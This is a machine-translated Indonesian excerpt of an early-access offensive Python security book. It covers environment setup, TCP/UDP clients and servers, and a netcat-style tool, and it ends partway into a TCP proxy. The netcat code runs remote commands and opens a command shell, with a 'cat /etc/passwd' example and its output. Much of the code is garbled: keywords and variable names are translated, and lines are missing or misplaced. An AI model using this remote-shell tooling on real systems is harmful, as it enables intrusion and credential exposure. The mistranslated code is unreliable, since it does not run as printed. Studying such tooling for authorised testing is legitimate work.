Blackhat Python 02 (Indo)
Blackhat Python 02 (Indo)
EDISI ke-2
AKSES AWAL
Selamat datang di edisi Akses Awal dari Black Hat Python, Edisi ke-2 yang belum diterbitkan
oleh Justin Seitz dan Tim Arnold! Sebagai judul prapublikasi, buku ini mungkin belum lengkap
dan beberapa bab mungkin belum dikoreksi.
Tujuan kami adalah selalu membuat buku terbaik, dan kami menantikan pendapat Anda. Jika
Anda memiliki komentar atau pertanyaan, kirimkan email kepada kami di [email protected].
Jika Anda memiliki masukan khusus untuk kami, harap sertakan nomor halaman, judul buku, dan
tanggal edisi dalam catatan Anda, dan kami pasti akan meninjaunya. Kami menghargai bantuan
dan dukungan Anda!
Kami akan mengirim email kepada Anda saat bab baru tersedia. Sementara itu, selamat
menikmati!
Machine Translated by Google
BLACKHATPYTHON ,
EDISI ke-2
JUSTIN SEITZ DAN TIM ARNOLD
Edisi Akses Awal, 3/12/20
ISBN-10: 978-1-7185-0112-6
ISBN-13: 978-1-7185-0113-3
No Starch Press dan logo No Starch Press adalah merek dagang terdaftar dari No Starch Press, Inc.
Produk dan nama perusahaan lain yang disebutkan di sini mungkin merupakan merek dagang dari
pemiliknya masing-masing. Daripada menggunakan simbol merek dagang di setiap kemunculan
nama merek dagang, kami menggunakan nama tersebut hanya untuk tujuan editorial dan untuk
keuntungan pemilik merek dagang, tanpa maksud untuk melanggar merek dagang tersebut.
Seluruh hak cipta. Tidak ada bagian dari karya ini yang boleh direproduksi atau dikirimkan dalam bentuk
apa pun atau dengan cara apa pun, elektronik atau mekanis, termasuk fotokopi, rekaman, atau dengan
sistem penyimpanan atau pengambilan informasi apa pun, tanpa izin tertulis sebelumnya dari pemilik
hak cipta dan penerbit. .
Informasi dalam buku ini didistribusikan berdasarkan “Apa Adanya”, tanpa jaminan. Meskipun setiap tindakan pencegahan
telah diambil dalam persiapan karya ini, baik penulis maupun No Starch Press, Inc. tidak memiliki tanggung jawab apa
pun kepada orang atau badan mana pun sehubungan dengan kehilangan atau kerusakan apa pun yang disebabkan
atau diduga disebabkan secara langsung atau tidak langsung oleh penulis. informasi yang terkandung di dalamnya.
Machine Translated by Google
ISI
Kata
Pengantar Bab 1: Menyiapkan Lingkungan Python Anda. . . . . . . . . . 1. .
Bab 2: Jaringan: Dasar-dasar. . . . . . . . . . . . . . . . . . . . . . . . . . 9 Bab
3: Jaringan: Soket Mentah dan Sniffing. . . . . . . . . 35 Bab 4: Memiliki
Jaringan dengan Scapy . . . . . . . . . . . . . . . 53 Bab 5: Peretasan
Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 Bab 6: Memperluas
Proksi Burp . . . . . . . . . . . . . . . . . . . . . . . 93 Bab 7: Perintah dan
Kontrol GitHub . . . . . . . . . . . . . . . 117 Bab 8: Tugas Umum Trojaning
di Windows . . . . . . . . . 127 Bab 9: Bersenang-senang dengan
Eksfiltrasi. . . . . . . . . . . . . . . . . . . . . . . . 139 Bab 10: Peningkatan Hak
Istimewa Windows . . . . . . . . . . . . . . . . 153 Bab 11: Forensik
Ofensif. . . . . . . . . . . . . . . . . . . . . . . . 169
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1
PENYIAPAN ANDA
LINGKUNGAN PYTHON
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 Bab 1
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Menyiapkan Python3
Hal pertama yang akan kita lakukan adalah memastikan bahwa versi Python yang benar
telah diinstal. (Proyek dalam buku ini menggunakan Python 3.6 atau lebih tinggi.) Panggil
Python dari shell Kali dan lihat:
tim@kali:~$ python
Bukan yang kami cari. Pada saat penulisan ini, versi default Python pada instalasi Kali
saat ini adalah Python 2.7.18.
Tapi ini sebenarnya bukan masalah; Anda juga harus menginstal Python 3:
tim@kali:~$ python3
Python 3.7.5 (default, 27 Okt 2019, 15:43:29)
[GCC 9.2.1 20191022] di linux
Ketik "bantuan", "hak cipta", "kredit" atau "lisensi" untuk informasi lebih lanjut.
>>>
Versi Python yang tercantum di sini adalah 3.7.5. Jika nilai Anda lebih rendah dari 3,6,
tingkatkan distribusi Anda dengan yang berikut:
Kami akan menggunakan Python 3 dengan lingkungan virtual, yang merupakan pohon
direktori mandiri yang mencakup instalasi Python dan kumpulan paket tambahan apa pun
yang Anda instal. Lingkungan virtual adalah salah satu alat paling penting bagi pengembang
Python. Dengan menggunakan satu, Anda dapat memisahkan proyek yang memiliki kebutuhan
berbeda. Misalnya, Anda mungkin menggunakan satu lingkungan virtual untuk proyek yang
melibatkan inspeksi paket dan lingkungan virtual lain untuk proyek analisis biner.
Dengan memiliki lingkungan terpisah, proyek Anda tetap sederhana dan bersih.
Hal ini memastikan bahwa setiap lingkungan dapat memiliki rangkaian dependensi dan modulnya
sendiri tanpa mengganggu proyek Anda yang lain.
Mari kita ciptakan lingkungan virtual sekarang. Untuk memulai, kita perlu melakukannya
instal paket python3-venv :
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang kita dapat membuat lingkungan virtual. Mari kita buat direktori baru
bekerja dan menciptakan lingkungan:
Itu menciptakan direktori baru, bhp, di direktori saat ini. Kami membuat lingkungan
virtual baru dengan memanggil paket venv dengan saklar -m dan nama yang Anda
inginkan untuk lingkungan baru tersebut. Kami menamai kami venv3, tetapi Anda
dapat menggunakan nama apa pun yang Anda suka. Skrip, paket, dan Python yang
dapat dieksekusi untuk lingkungan akan berada di direktori tersebut. Selanjutnya kita
aktifkan environment dengan menjalankan script activation . Perhatikan bahwa
prompt berubah setelah lingkungan diaktifkan. Nama lingkungan ditambahkan ke
prompt biasa Anda ( dalam kasus kami venv3 ). Nanti, ketika Anda siap untuk keluar
dari lingkungan, gunakan perintah nonaktifkan.
Sekarang Anda telah menyiapkan Python dan mengaktifkan lingkungan virtual.
Karena kami menyiapkan lingkungan untuk menggunakan Python 3, saat Anda
memanggil Python, Anda tidak perlu lagi menentukan python3—hanya python saja
yang boleh, karena itulah yang kami instal ke dalam lingkungan virtual. Dengan kata
lain, setelah aktivasi, setiap perintah Python akan berhubungan dengan lingkungan
virtual Anda. Harap dicatat bahwa menggunakan versi Python yang berbeda mungkin
merusak beberapa contoh kode dalam buku ini.
Kita dapat menggunakan pip yang dapat dieksekusi untuk menginstal paket Python
ke dalam lingkungan virtual. Ini mirip dengan manajer paket apt karena memungkinkan
Anda menginstal pustaka Python secara langsung ke lingkungan virtual Anda tanpa harus
mengunduh, membongkar, dan menginstalnya secara manual.
Anda dapat mencari paket dan menginstalnya ke lingkungan virtual Anda dengan
pip:
Mari kita lakukan tes cepat dan instal modul lxml , yang akan kita gunakan di
Bab 5 untuk membuat web scraper. Masukkan yang berikut ini ke terminal Anda:
4 Bab 1
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Jika Anda mendapatkan kesalahan atau versi Python 2, pastikan Anda mengikuti semuanya
langkah-langkah sebelumnya dan Anda memiliki Kali versi terbaru.
Ingatlah bahwa untuk sebagian besar contoh dalam buku ini, Anda dapat mengembangkan
kode Anda di berbagai lingkungan, termasuk Mac, Linux, dan Windows. Anda mungkin juga
ingin menyiapkan lingkungan virtual yang berbeda untuk proyek atau bab terpisah. Beberapa
bab khusus untuk Windows, yang pasti akan kami sebutkan di awal bab ini.
Menginstal IDE
Lingkungan pengembangan terintegrasi (IDE) menyediakan seperangkat alat untuk pengkodean.
Biasanya, ini mencakup editor kode, dengan penyorotan sintaksis dan linting otomatis, serta
debugger. Tujuan dari IDE adalah untuk mempermudah pengkodean dan debug program Anda.
Anda tidak harus menggunakannya untuk memprogram dengan Python; untuk program pengujian
kecil, Anda dapat menggunakan editor teks apa pun (seperti vim, nano, Notepad, atau emacs).
Namun untuk proyek yang lebih besar dan kompleks, IDE akan sangat membantu Anda, baik
dengan menunjukkan variabel yang telah Anda tetapkan tetapi belum digunakan, menemukan
nama variabel yang salah eja, atau menemukan lokasi impor paket yang hilang.
Dalam survei pengembang Python baru-baru ini, dua IDE favorit teratas adalah PyCharm
(yang tersedia versi komersial dan gratis) dan Visual Studio Code (gratis). Justin adalah
penggemar WingIDE (tersedia versi komersial dan gratis), dan Tim menggunakan Visual
Studio Code (VS Code). Ketiga IDE tersebut dapat digunakan di Windows, macOS, atau Linux.
Atau, untuk mendapatkan VS Code versi terbaru, unduh dari https:// code
.visualstudio.com/ download/ dan instal dengan apt-get:
Nomor rilis, yang merupakan bagian dari nama file, kemungkinan besar akan berbeda
dengan yang ditampilkan di sini, jadi pastikan nama file yang Anda gunakan cocok dengan yang
Anda unduh.
Kode Kebersihan
Apa pun yang Anda gunakan untuk menulis program, sebaiknya ikuti pedoman pemformatan
kode. Panduan gaya kode memberikan rekomendasi untuk meningkatkan keterbacaan dan
konsistensi kode Python Anda. Ini memudahkan Anda untuk memahami kode Anda sendiri ketika
Anda membacanya nanti atau untuk orang lain jika
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda memutuskan untuk membagikannya. Komunitas Python memiliki pedoman seperti itu, yang
disebut PEP 8. Anda dapat membaca panduan lengkap PEP 8 di sini: https:// www.python.org/ dev/ peps/
semangat-0008/.
Contoh-contoh dalam buku ini umumnya mengikuti PEP 8, dengan beberapa perbedaan.
ences. Anda akan melihat bahwa kode dalam buku ini mengikuti pola seperti ini:
2 impor argparse
impor mereka
Pemindai kelas 4:
def __init__(diri):
lulus
Di bagian atas program kami, kami mengimpor paket yang kami butuhkan. Blok import
pertama 1 berbentuk from XXX import YYY type. Setiap baris impor disusun berdasarkan
abjad.
Hal yang sama berlaku untuk impor modul—mereka juga berada dalam urutan abjad 2.
Pengurutan ini memungkinkan Anda melihat sekilas apakah Anda telah mengimpor sebuah paket
tanpa membaca setiap baris impor, dan ini memastikan bahwa Anda tidak mengimpornya. tidak
mengimpor paket dua kali. Tujuannya adalah untuk menjaga kode Anda tetap bersih dan mengurangi
jumlah pemikiran yang harus Anda pikirkan saat membaca ulang kode Anda.
Berikutnya adalah fungsi 3, lalu definisi kelas 4, jika ada.
Beberapa pembuat kode memilih untuk tidak memiliki kelas dan hanya mengandalkan fungsi. Tidak
ada aturan yang tegas di sini, tetapi jika Anda mencoba mempertahankan status dengan variabel
global atau meneruskan struktur data yang sama ke beberapa fungsi, itu mungkin merupakan
indikasi bahwa program Anda akan lebih mudah dipahami jika Anda memfaktorkannya ulang untuk
menggunakan kelas.
Terakhir, blok utama di 5 terbawah memberi Anda kesempatan untuk menggunakan kode
Anda dalam dua cara. Pertama, Anda dapat menggunakannya dari baris perintah. Dalam hal ini,
nama internal modul adalah __main__ dan blok utama dijalankan.
Misalnya, jika nama file yang berisi kode tersebut adalah scan.py, Anda dapat memanggilnya dari
baris perintah sebagai berikut:
python memindai.py
Ini akan memuat fungsi dan kelas di scan.py dan menjalankan fungsi utama
memblokir. Anda akan melihat respons halo di konsol.
Kedua, Anda dapat mengimpor kode Anda ke program lain tanpa efek samping. Misalnya,
Anda akan mengimpor kode dengan
impor pemindaian
6 Bab 1
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Karena nama internalnya adalah nama modul Python, scan, dan bukan __main__, Anda
memiliki akses ke semua fungsi dan kelas modul yang ditentukan, tetapi blok utama tidak dijalankan.
Anda juga akan melihat bahwa kami menghindari variabel dengan nama umum. Semakin
baik Anda dalam memberi nama variabel, semakin mudah untuk memahami programnya.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2
KERJA BERSIH: DASAR-DASAR
Tidak ada Wireshark. Tidak ada kompiler, dan tidak ada cara untuk
menginstalnya. Namun, Anda mungkin terkejut saat mengetahui bahwa
dalam banyak kasus, Anda akan menginstal Python. Jadi di situlah kita
akan mulai.
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Bab ini akan memberi Anda beberapa dasar tentang jaringan Python menggunakan modul
socket1 . Sepanjang jalan, kami akan membangun klien, server, dan proxy TCP.
Kami kemudian akan mengubahnya menjadi netcat kami sendiri, lengkap dengan shell perintah.
Bab ini adalah dasar untuk bab-bab berikutnya, di mana kita akan membangun alat penemuan
host, mengimplementasikan sniffer lintas platform, dan membuat kerangka kerja trojan jarak
jauh. Mari kita mulai.
Klien TCP
Berkali-kali selama pengujian penetrasi, kami (penulis) perlu menyiapkan klien TCP untuk
menguji layanan, mengirim data sampah, fuzz, atau melakukan sejumlah tugas lainnya. Jika
Anda bekerja dalam lingkungan perusahaan besar, Anda tidak akan memiliki kemewahan
menggunakan alat atau kompiler jaringan, dan terkadang Anda bahkan kehilangan dasar-
dasar mutlak, seperti kemampuan untuk menyalin/menempel atau menyambung ke internet.
Di sinilah kemampuan membuat klien TCP dengan cepat menjadi sangat berguna.
Tapi cukup mengoceh—mari kita mulai coding. Berikut ini adalah klien TCP sederhana:
soket impor
target_host = "www.google.com"
target_pelabuhan = 80
# menghubungkan klien
2 klien.koneksi((target_host,target_port))
cetak(respons.decode())
klien.tutup()
1. Dokumentasi soket lengkap dapat ditemukan di sini: http:// docs.python.org/ 3/ library/ socket.html.
10 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Pertama-tama kita membuat objek soket dengan parameter AF_INET dan SOCK_STREAM
1. Parameter AF_INET menunjukkan bahwa kita akan menggunakan alamat atau nama host
IPv4 standar, dan SOCK_STREAM menunjukkan bahwa ini akan menjadi klien TCP. Kami
kemudian menghubungkan klien ke server 2 dan mengirimkannya beberapa data sebagai byte 3.
Langkah terakhir adalah menerima kembali beberapa data dan mencetak respon 4 lalu menutup
soket. Ini adalah bentuk klien TCP yang paling sederhana, namun merupakan yang paling
sering Anda tulis.
Cuplikan kode ini membuat beberapa asumsi serius tentang soket yang pasti ingin Anda
waspadai. Asumsi pertama adalah koneksi kita akan selalu berhasil, dan asumsi kedua adalah
server mengharapkan kita mengirimkan data terlebih dahulu (beberapa server mengharapkan
mengirimkan data kepada Anda terlebih dahulu dan menunggu tanggapan Anda). Asumsi kami
yang ketiga adalah server akan selalu mengembalikan data kepada kami tepat waktu. Kami
membuat asumsi-asumsi ini terutama demi kesederhanaan. Meskipun pemrogram mempunyai
beragam pendapat tentang cara menangani soket pemblokiran, penanganan pengecualian
pada soket, dan sejenisnya, sangat jarang bagi pentester untuk memasukkan hal-hal ini ke
dalam alat mereka yang cepat dan kotor untuk pekerjaan pengintaian atau eksploitasi, jadi
kami akan melakukannya hilangkan mereka dalam bab ini.
Klien UDP
Klien Python UDP tidak jauh berbeda dengan klien TCP; kita hanya perlu membuat dua
perubahan kecil agar dapat mengirim paket dalam bentuk UDP:
soket impor
target_host = "127.0.0.1"
target_port = 9997
cetak(data.decode())
klien.tutup()
Seperti yang Anda lihat, kami mengubah tipe soket menjadi SOCK_DGRAM 1 saat
membuat objek soket. Langkah selanjutnya cukup memanggil sendto() 2, meneruskan data dan
server tujuan pengiriman data. Karena UDP adalah protokol tanpa koneksi, tidak ada panggilan
ke connect() sebelumnya. Langkah terakhir adalah memanggil recvfrom() 3 untuk menerima
kembali data UDP. Anda juga akan melihat bahwa ia mengembalikan data dan rincian host dan
port jarak jauh.
Sekali lagi, kami tidak ingin menjadi pemrogram jaringan yang unggul; kami ingin ini cepat,
mudah, dan cukup andal untuk menangani tugas peretasan kami sehari-hari. Mari beralih ke
pembuatan beberapa server sederhana.
Jaringan: Dasar-dasar 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Server TCP
Membuat server TCP dengan Python semudah membuat klien. Anda mungkin ingin
menggunakan server TCP Anda sendiri saat menulis shell perintah atau membuat
proxy (keduanya akan kita lakukan nanti). Mari kita mulai dengan membuat server
TCP multi-thread standar. Keluarkan kode berikut:
soket impor
impor threading
IP = '0.0.0.0'
PELABUHAN = 9998
def utama()
server = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
1 server.bind((IP, PORT))
2 server.dengarkan(5)
print(f'[*] Mendengarkan di {IP}:{PORT}')
sementara Benar:
4 klien_handler.mulai()
5 def handle_client(klien_socket):
dengan client_socket sebagai kaus kaki:
permintaan = kaus kaki.recv(1024)
print(f'[*] Diterima: {request.decode("utf-8")}')
kaus kaki.kirim(b'ACK')
Untuk memulai, kita memasukkan alamat IP dan port yang kita ingin server daftarkan pada 1.
Selanjutnya, kita memberitahu server untuk mulai mendengarkan 2, dengan back-log maksimum
koneksi diatur ke 5. Kita kemudian menempatkan server ke loop utamanya, di mana ia menunggu
koneksi masuk. Ketika klien terhubung 3, kami menerima soket klien di variabel klien dan detail
koneksi jarak jauh di variabel alamat . Kami kemudian membuat objek thread baru yang menunjuk
ke fungsi handle_client kami , dan kami meneruskannya ke objek soket klien sebagai argumen.
Kami kemudian memulai thread untuk menangani koneksi klien 4, pada titik mana
loop server utama siap untuk menangani koneksi masuk lainnya. Fungsi
handle_client 5 menjalankan recv() dan kemudian mengirimkan pesan sederhana
kembali ke klien.
Jika Anda menggunakan klien TCP yang kami buat sebelumnya, Anda dapat mengirimkan beberapa tes
paket ke server. Anda akan melihat output seperti berikut:
12 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Itu dia! Meskipun cukup sederhana, ini adalah bagian kode yang sangat berguna. Kami
akan memperluasnya di beberapa bagian berikutnya, saat kami membuat pengganti netcat dan
proxy TCP.
Mengganti Netcat
Netcat adalah pisau utilitas jaringan, jadi tidak mengherankan jika administrator sistem yang
cerdik menghapusnya dari sistem mereka. Alat yang berguna seperti itu akan sangat berguna
jika penyerang berhasil menemukan jalan masuk. Dengan alat ini, Anda dapat membaca dan
menulis data di seluruh jaringan, artinya Anda dapat menggunakannya untuk menjalankan
perintah jarak jauh, meneruskan file bolak-balik, atau bahkan buka shell jarak jauh.
Pada lebih dari satu kesempatan, saya menemukan server yang tidak menginstal netcat
tetapi memiliki Python. Dalam kasus ini, akan berguna untuk membuat klien dan server
jaringan sederhana yang dapat Anda gunakan untuk mendorong file, atau pendengar yang
memberi Anda akses baris perintah. Jika Anda telah membobol aplikasi web, ada baiknya
Anda menghapus callback Python untuk memberi Anda akses sekunder tanpa harus terlebih
dahulu membakar salah satu trojan atau pintu belakang Anda.
Membuat alat seperti ini juga merupakan latihan Python yang bagus, jadi mari kita mulai
menulis netcat.py:
impor argparse
soket impor
impor shlex
subproses impor
sistem impor
impor bungkus teks
impor threading
def jalankan(cmd):
cmd = cmd.strip()
jika tidak cmd:
kembali
1 keluaran = subproses.check_output(shlex.split(cmd),
stderr=subproses.STDOUT)
kembalikan keluaran.decode()
Di sini, kami mengimpor semua perpustakaan yang diperlukan dan menyiapkan eksekusi
fungsi, yang menerima perintah, menjalankannya, dan mengembalikan output sebagai string.
Fungsi ini berisi perpustakaan baru yang belum kita bahas: perpustakaan subproses . Pustaka ini
menyediakan antarmuka pembuatan proses yang kuat yang memberi Anda sejumlah cara untuk
berinteraksi dengan program klien. Dalam kasus 1 ini, kami menggunakan metode check_output ,
yang menjalankan perintah pada sistem operasi lokal dan kemudian mengembalikan output dari
perintah tersebut.
Sekarang mari kita buat blok utama yang bertanggung jawab menangani baris perintah
argumen dan memanggil fungsi kami yang lain:
Jaringan: Dasar-dasar 13
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Contoh: 2
netcat.py -t 192.168.1.108 -p 5555 -l -c # perintah shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # unggah ke file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # jalankan perintah
gema 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # gema teks ke port server 135
netcat.py -t 192.168.1.108 -p 5555 # sambungkan ke server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell') 3
parser.add_argument('-e', '--execute', help='jalankan perintah yang ditentukan')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='port yang ditentukan')
parser.add_argument('-t', '--target', default='192.168.1.203', help='IP yang ditentukan')
parser.add_argument('-u', '--upload', help='unggah file')
args = parser.parse_args()
jika args.dengarkan: 4
''
penyangga
= lain:
penyangga = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.jalankan()
Kami menggunakan modul argparse dari perpustakaan standar untuk membuat antarmuka
baris perintah 1. Kami akan memberikan argumen sehingga dapat dipanggil untuk mengunggah
file, menjalankan perintah, atau memulai shell perintah.
Kami memberikan contoh penggunaan yang akan ditampilkan oleh program ketika pengguna
memanggilnya dengan --help 2 dan menambahkan enam argumen yang menentukan bagaimana
kita ingin program berperilaku 3. Argumen -c menyiapkan shell interaktif, -e
argumen mengeksekusi satu perintah tertentu, argumen -l menunjukkan bahwa pendengar
harus diatur, argumen -p menentukan port untuk berkomunikasi, argumen -t menentukan IP
target, dan argumen -u menentukan nama a file yang akan diunggah. Baik pengirim maupun
penerima dapat menggunakan program ini, sehingga argumennya menentukan apakah program
ini dipanggil untuk mengirim atau mendengarkan. Argumen -c, -e, dan -u menyiratkan argumen
-l , karena argumen tersebut hanya berlaku pada sisi pendengar komunikasi. Sisi pengirim
membuat koneksi ke pendengar, sehingga hanya membutuhkan -t dan -p
kelas NetCat:
1 def __init__(mandiri, argumen, buffer=Tidak ada):
diri.args = args
mandiri.buffer = penyangga
2 self.socket = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, soket.SO_REUSEADDR, 1)
14 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def lari(diri):
jika self.args.dengarkan:
3 mandiri.dengarkan()
kalau tidak:
4 mandiri.kirim()
def kirim(diri):
1 self.socket.connect((self.args.target, self.args.port))
jika mandiri.buffer:
self.socket.send(self.buffer)
2 percobaan:
3 sementara Benar:
penerimaan_len = 1
''
tanggapan =
sementara recv_len:
data = mandiri.socket.recv(4096)
recv_len = len(data)
respon += data.decode()
jika recv_len <4096:
4 istirahat
jika tanggapan:
cetak (respon)
penyangga = masukan('> ')
penyangga += '\n'
5 self.socket.kirim(buffer.encode())
6 kecuali Interupsi Keyboard:
print('Pengguna dihentikan.')
mandiri.socket.close()
sys.keluar()
Kami terhubung ke target dan port 1, dan jika kami memiliki buffer, kami mengirimkannya
ke target terlebih dahulu. Kemudian kita menyiapkan blok coba/tangkap sehingga kita dapat
menutup koneksi secara manual dengan CTRL-C 2. Selanjutnya, kita memulai loop 3 untuk
menerima data dari target. Jika tidak ada data lagi, kita keluar dari loop 4.
Jika tidak, kami mencetak data respons dan berhenti sejenak untuk mendapatkan masukan interaktif,
mengirimkan masukan tersebut 5, dan melanjutkan perulangan.
Perulangan akan berlanjut hingga terjadi KeyboardInterrupt (CTRL-C) 6,
yang akan menutup soket.
Sekarang mari kita tulis metode yang dijalankan ketika program dijalankan sebagai pendengar:
Jaringan: Dasar-dasar 15
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 sementara Benar:
client_socket, _ = self.socket.accept() 3 client_thread
= threading.Thread( target=self.handle,
args=(client_socket,)
) client_thread.mulai()
client_socket.send(response.encode()) cmd_buffer =
b'' kecuali
Pengecualian sebagai e:
print(f'server dimatikan {e }')
mandiri.socket.close()
sys.exit()
16 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
perintah ke fungsi eksekusi dan mengirimkan output kembali ke soket. Jika file harus diunggah
2, kami menyiapkan loop untuk mendengarkan konten pada soket pencatatan dan menerima
data hingga tidak ada lagi data yang masuk. Kemudian kami menulis konten yang terakumulasi
ke file yang ditentukan. Terakhir, jika shell ingin dibuat, kita menyiapkan loop, mengirim prompt
ke pengirim, dan menunggu string perintah kembali. Kami kemudian menjalankan perintah
menggunakan eksekusi
berfungsi dan mengembalikan output perintah ke pengirim.
Anda akan melihat bahwa shell memindai karakter baris baru untuk menentukan kapan harus
memproses suatu perintah, yang membuatnya ramah netcat. Artinya, Anda dapat menggunakan
program ini di sisi pendengar dan menggunakan netcat sendiri di sisi pengirim.
Namun, jika Anda membayangkan klien Python untuk berbicara dengannya, ingatlah untuk
menambahkan karakter baris baru. Dalam metode kirim , Anda dapat melihat kami
menambahkan karakter baris baru setelah kami mendapat masukan dari konsol.
Menendang Ban
Sekarang mari kita bermain-main sedikit untuk melihat hasilnya. Di satu terminal atau shell
cmd.exe , jalankan skrip dengan argumen --help :
argumen opsional:
-h, --help tampilkan pesan bantuan ini dan keluar
-c, --command menginisialisasi shell perintah
-e EKSEKUSI, --eksekusi EKSEKUSI
jalankan perintah yang ditentukan
-l, --listen -p mendengarkan
Contoh:
netcat.py -t 192.168.1.108 -p 5555 -l -c # perintah shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # unggah ke file
netcat.py -t 192.168.1.108 -p 5555 -l -e="cat /etc/passwd" # jalankan perintah
gema 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
# gema teks lokal ke port server 135
netcat.py -t 192.168.1.108 -p 5555 # sambungkan ke server
Sekarang, di mesin Kali Anda, siapkan pendengar menggunakan IP dan portnya sendiri
5555 untuk menyediakan shell perintah:
Sekarang jalankan terminal lain di mesin lokal Anda dan jalankan skrip
dalam mode klien. Ingatlah bahwa skrip membaca dari stdin dan akan melakukannya
Jaringan: Dasar-dasar 17
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
hingga menerima penanda akhir file (EOF). Untuk mengirim EOF, tekan CTRL-D pada keyboard
Anda:
Anda dapat melihat bahwa kami menerima shell perintah khusus kami. Karena kita berada di
host Unix, kita dapat menjalankan perintah lokal dan menerima output sebagai imbalannya, seolah-
olah kita telah login melalui SSH atau berada di kotak secara lokal. Kita dapat melakukan pengaturan
yang sama pada mesin Kali tetapi menjalankan satu perintah menggunakan tombol -e :
Sekarang, ketika kita terhubung ke Kali dari mesin lokal, kita mendapat imbalan
dengan output dari perintah:
akar:x:0:0:root:/root:/bin/bash
daemon : x : 1 : 1 : daemon : / usr / sbin : / usr / sbin / nologin
bin : x : 2 : 2 : bin : / bin : / usr / sbin / nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sinkronisasi:x:4:65534:sinkronisasi:/bin:/bin/sinkronisasi
permainan:x:5:60:permainan:/usr/permainan:/usr/sbin/nologin
% nc 192.168.1.203 5555
akar:x:0:0:root:/root:/bin/bash
daemon : x : 1 : 1 : daemon : / usr / sbin : / usr / sbin / nologin
bin : x : 2 : 2 : bin : / bin : / usr / sbin / nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sinkronisasi:x:4:65534:sinkronisasi:/bin:/bin/sinkronisasi
permainan:x:5:60:permainan:/usr/permainan:/usr/sbin/nologin
Terakhir, kita dapat menggunakan klien untuk mengirimkan permintaan dengan cara yang
baik dan kuno:
18 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Server: nginx
Tanggal: Sen, 18 Mei 2020 12:46:30 GMT
Tipe Konten: teks/html; rangkaian karakter=iso-8859-1
Panjang Konten: 229
Koneksi: tetap hidup
Lokasi: https://reachtim.com/
Ini dia! Meskipun bukan teknik super teknis, ini merupakan dasar yang baik untuk
meretas beberapa soket klien dan server dengan Python dan menggunakannya untuk
kejahatan. Tentu saja, program ini hanya mencakup hal-hal mendasar; gunakan
imajinasi Anda untuk memperluas atau memperbaikinya. Selanjutnya, mari kita buat
proxy TCP, yang berguna dalam sejumlah skenario ofensif.
dari). Kita perlu mengatur arah lalu lintas antara mesin jarak jauh dan lokal (proxy_handler). Terakhir,
kita perlu menyiapkan soket pendengaran dan meneruskannya ke proxy_handler ( server_loop).
sistem impor
soket impor
impor threading
1 HEX_FILTER = ''.gabung(
[(len(repr(chr(i))) == 3) dan chr(i) atau '.' untuk saya dalam jangkauan (256)])
Jaringan: Dasar-dasar 19
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
src = src.dekode()
hasil = daftar()
untuk i dalam rentang(0, len(src), panjang):
3 kata = str(src[i:i+panjang])
mengembalikan hasil
Kami mulai dengan beberapa impor. Kemudian kita mendefinisikan fungsi hexdump
yang mengambil beberapa input sebagai byte atau string dan mencetak hexdump ke konsol.
Artinya, ia akan menampilkan detail paket dengan nilai heksadesimal dan karakter ASCII
yang dapat dicetak. Ini berguna untuk memahami protokol yang tidak diketahui, menemukan
kredensial pengguna dalam protokol teks biasa, dan banyak lagi.
Kami membuat string HEXFILTER 1 yang berisi karakter ASCII yang dapat dicetak, jika ada,
atau titik (.) jika representasi tersebut tidak ada. Sebagai contoh isi string ini, mari kita lihat
representasi karakter dari dua bilangan bulat, 30 dan 65, dalam shell Python interaktif:
>>> bab(65)
'A'
>>> bagan(30)
'\x1e'
>>> len(repr(chr(65)))
3
>>> len(repr(chr(30)))
6
20 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
pastikan kita memiliki string, decoding byte jika string byte dilewatkan dalam 2.
Kemudian kita ambil sepotong string untuk dibuang dan memasukkannya ke dalam Word
variabel 3. Kami menggunakan fungsi bawaan terjemahan untuk mengganti
